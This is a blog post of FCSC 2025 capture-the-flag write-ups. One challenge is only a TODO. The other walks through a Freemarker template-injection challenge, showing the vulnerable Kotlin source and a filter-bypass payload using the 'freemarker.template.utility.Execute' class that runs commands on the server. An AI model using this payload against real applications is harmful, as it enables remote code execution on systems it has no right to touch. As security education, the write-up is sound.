Featured image of post FCSC 2025 - Writeups

FCSC 2025 - Writeups

TODO

Under Nextruction - Web (24 solves)

I started learning Next.js recently, and I’ve begun developing a small website. It’s still under development, so I’m not exposing sensitive features using key Next.js APIs. I should be safe, right?

  • Attachment: under-nextruction.tar.xz
  • URL: https://under-nextruction.fcsc.fr:2213/

TODO

Happy Face - Speedrun/Web (4 solves)

Let’s put a smile on your face.

  • Attachment: happy-face.tar.xz
  • URL: https://happy-face.fcsc.fr/

During the FCSC, there was a category called Speedrun where participants had to solve various challenges (reverse, pwn, crypto, web, etc.) within 9 hours. The goal of this category was to measure the speed and versatility of each player.

Introduction

Happy Face was a web challenge, it had a single feature: transforming sad text đŸ˜ĸ into happy text 😊.

Happy Face - Index page

The source code was simple, there was a single page that accepted an optional parameter called text.

If the text parameter contained:

  • <, >, \: The request was aborted.
  • emojis and (: These characters were replaced with other emojis or ).

Afterward, the text variable (our input) and the output variable (filtered input) were rendered inside a Freemarker template. The template engine was up to date, version 2.3.34.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.speedrun.demo

// [...]

@SpringBootApplication
@RestController
class DemoApplication {

    @GetMapping("/")
    @ResponseBody
    fun index(@RequestParam(required = false,
            defaultValue = "I'm [...]") text: String) : String {
        
        val badChars = arrayOf("<", ">", "\\")

        badChars.forEach { c ->
            if (text.contains(c)){
                return "Please no XSS"
            }
        }

        val sadToHappy = mapOf(
            "đŸ˜ĸ" to "😊",
            "😞" to "😁",
            "😔" to "😄",
            "â˜šī¸" to "🙂",
            "🙁" to "😃",
            "😩" to "😆",
            "đŸ˜Ģ" to "😅",
            "đŸ˜ŋ" to "😸",
            "😭" to "😂",
            "đŸ˜Ŗ" to "😌",
            "😖" to "😋",
            "😟" to "😉",
            "đŸ˜Ŧ" to "😎",
            "😓" to "😇",
            "đŸ˜Ĩ" to "😍",
            "(" to ")"
        )

        val output = sadToHappy.entries.fold(text) { acc, (sad, happy) ->
            acc.replace(sad, happy)
        }


        val templateString = """
        [...]
        <body>
            <h1>Happy Faces</h1>
            <p>
                Turn any text into a cheerful version with our advanced AI.
            </p>
            <pre>$output</pre>
            <form>
                <textarea name="text">$text</textarea>
                <button type="submit">Convert</button>
            </form>
        </body>
        """.trimIndent()

        val template = Template("index", StringReader(templateString), Configuration.getDefaultConfiguration())

        val writer = StringWriter()
        template.process(null, writer)
        return writer.toString()
    }

    companion object {
        @JvmStatic
        fun main(args: Array<String>) {
            SpringApplication.run(DemoApplication::class.java, *args)
        }
    }
}

Source: com/speedrun/demo/DemoApplication.kt

When a simple payload is executed, it runs twice (text and output variables)!

Happy Face - Simple payload

When an RCE payload is attempted, an error occurs because the filtered input contains syntax errors and is executed before the valid input.

1
2
filtered: ${"freemarker.template.utility.Execute"?new)))"id")}
input:    ${"freemarker.template.utility.Execute"?new()("id")}

Happy Face - Error payload

My strategy was to find a way to prevent the page from crashing with the filtered variable and achieve RCE with the second variable.

Attempt / Recover

To achieve this, I first searched for try/catch features within the Freemarker template documentation. I found one called attempt, recover.

1
2
3
4
5
<#attempt>
  attempt block
<#recover>
  recover block
</#attempt>

However, the characters <> are completely blocked, making it impossible to use for the challenge.

FTL directive

The ftl directive allows a user to switch the <tag> syntax to [tag] syntax (which is not filtered).

This directive also determines if the template uses angle bracket syntax (e.g. <#include ‘foo.ftl’>) or square bracket syntax (e.g. [#include ‘foo.ftl’]). Simply, the syntax used for this directive will be the syntax used for the whole template, regardless of the FreeMarker configuration settings.

However, the directive must be on the first line of the template, which cannot be controlled.

This directive, if present, must be the very first thing in the template.

Playing with quotes

I had an idea that made me think of a dangling markup payload. The goal was to place the non-valid code inside a string, preventing its execution. Then, the second payload would close the string to execute the code.

Happy Face - Dangling payload

However, I encountered an <EOF> error when trying to run this code.

1
2
freemarker.core.ParseException: Syntax error in template "index" in line 80, column 9:
Lexical error: encountered <EOF> after "\'} XXX</textarea>\n\t\t\t<button type=\"submit\">Convert</button>...".

I resolved this issue by simplifying the payload and using a raw string.

To indicate that a string literal is a raw string literal, you have to put an r directly before the opening quotation mark or apostrophe-quote. Freemarker - Expressions

Happy Face - Final payload

To obtain the flag, simply execute the binary /app/get_flag.

1
 ${r'} ${"freemarker.template.utility.Execute"?new()("/app/get_flag")}

Happy Face - Flag

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy